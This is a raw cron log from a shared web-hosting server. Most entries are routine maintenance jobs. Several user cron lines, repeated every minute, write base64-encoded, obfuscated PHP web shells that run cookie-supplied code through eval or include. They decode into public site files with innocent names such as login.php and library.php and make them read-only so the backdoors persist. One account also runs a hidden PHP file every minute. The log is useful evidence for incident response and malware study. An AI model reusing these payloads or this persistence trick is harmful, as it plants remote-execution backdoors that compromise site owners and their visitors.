Mar  2 00:48:01 medusa CROND[16239]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:48:01 medusa CROND[16241]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:48:01 medusa CROND[16248]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:48:01 medusa CROND[16249]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:49:01 medusa CROND[21485]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 00:49:01 medusa CROND[21547]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:49:01 medusa CROND[21577]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:49:01 medusa CROND[21623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:49:01 medusa CROND[21626]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:49:01 medusa CROND[21627]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:49:01 medusa CROND[21628]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:49:01 medusa CROND[21629]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:49:01 medusa CROND[21630]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:49:01 medusa CROND[21631]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:49:01 medusa CROND[21635]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:49:01 medusa CROND[21637]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:50:01 medusa CROND[27047]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:50:01 medusa CROND[27054]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 00:50:01 medusa CROND[27110]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 00:50:01 medusa CROND[27115]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 00:50:01 medusa CROND[27310]: (root) CMD (/usr/bin/kcarectl --auto-update )
Mar  2 00:50:01 medusa CROND[27312]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 00:50:01 medusa CROND[27311]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 00:50:01 medusa CROND[27316]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 00:50:01 medusa CROND[27317]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:50:01 medusa CROND[27315]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:50:01 medusa CROND[27319]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 00:50:01 medusa CROND[27321]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:50:01 medusa CROND[27323]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 00:50:01 medusa CROND[27326]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:50:01 medusa CROND[27313]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 00:50:01 medusa CROND[27328]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 00:50:01 medusa CROND[27329]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 00:50:01 medusa CROND[27330]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:50:01 medusa CROND[27336]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:50:01 medusa CROND[27325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:50:01 medusa CROND[27339]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 00:50:01 medusa CROND[27341]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 00:50:01 medusa CROND[27344]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 00:50:01 medusa CROND[27324]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 00:50:01 medusa CROND[27314]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 00:50:01 medusa CROND[27349]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:50:01 medusa CROND[27361]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:50:01 medusa CROND[27366]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 00:50:01 medusa CROND[27368]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 00:50:01 medusa CROND[27370]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:50:01 medusa CROND[27364]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 00:51:01 medusa CROND[2003]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:51:02 medusa CROND[2144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:51:02 medusa CROND[2145]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:51:02 medusa CROND[2146]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:51:02 medusa CROND[2147]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
